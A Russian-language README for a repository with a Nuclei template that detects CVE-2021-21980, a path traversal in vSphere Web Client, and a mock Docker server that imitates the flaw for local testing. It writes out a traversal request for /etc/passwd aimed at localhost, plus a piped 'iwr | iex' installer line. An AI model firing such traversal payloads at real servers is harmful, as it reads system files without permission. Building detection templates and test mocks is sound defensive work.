
CVE-2021-21980
Этот репозиторий содержит высоконадёжный шаблон Nuclei для обнаружения CVE-2021-21980 (path traversal в vSphere Web Client) и небольшую имитационную среду, воспроизводящую уязвимое поведение для безопасного локального тестирования.
Файлы:
cve-2021-21980.yaml: шаблон Nuclei с несколькими вариантами кодирования и матчерамиapp.py: небольшое Flask-приложение, имитирующее уязвимость path traversal в /eam/vibDockerfile: образ контейнера для имитационного сервера с самоподписанным TLS-сертификатомdocker-compose.yml: запускает имитационный сервер, прослушивающий порт 8443 на хостеrequirements.txt: зависимости Pythoncd C:\Users\gui\Documents\hi
docker-compose up --build -d
Имитационный сервер будет слушать https://localhost:8443 (самоподписанный TLS-сертификат).
curl -k "https://localhost:8443/" # should return VMware vSphere Web Client (mock)
curl -k "https://localhost:8443/eam/vib?id=../../../../../../../../../../etc/passwd"
Вы должны получить содержимое имитационного файла /app/sensitive/passwd-mock.
nuclei -t cve-2021-21980.yaml -u https://localhost:8443 -insecure
Если вы хотите проверить множество вариантов кодирования, запускайте шаблон Nuclei с высоким уровнем подробности вывода.
Запустите run_local_test.ps1, который собирает образ, ожидает готовности и выполняет проверки curl, а также запускает Nuclei, если он доступен.
powershell -ExecutionPolicy Bypass -File .\run_local_test.ps1
Установка Nuclei на Windows (кратко):
iwr -useb get.scoop.sh | iex
scoop install coreutils
scoop install nuclei
Invoke-WebRequest -Uri https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_windows_amd64.zip -OutFile nuclei.zip
Expand-Archive -Path nuclei.zip -DestinationPath .\nuclei
Add-Content -Path $PROFILE -Value 'set PATH=$Env:PATH;$(Resolve-Path .\nuclei)'
Безопасность: всегда получайте явное разрешение перед сканированием или эксплуатацией систем.
Если nuclei отсутствует в PATH, run_local_test.ps1 выполнит только проверки curl.
Если возникли проблемы со сборкой Docker-образа, убедитесь, что установлен Docker Desktop и включён параметр 'Use the WSL 2 based engine'.
/etc/passwd или аналогичный файл будет возвращён, если сервер уязвим.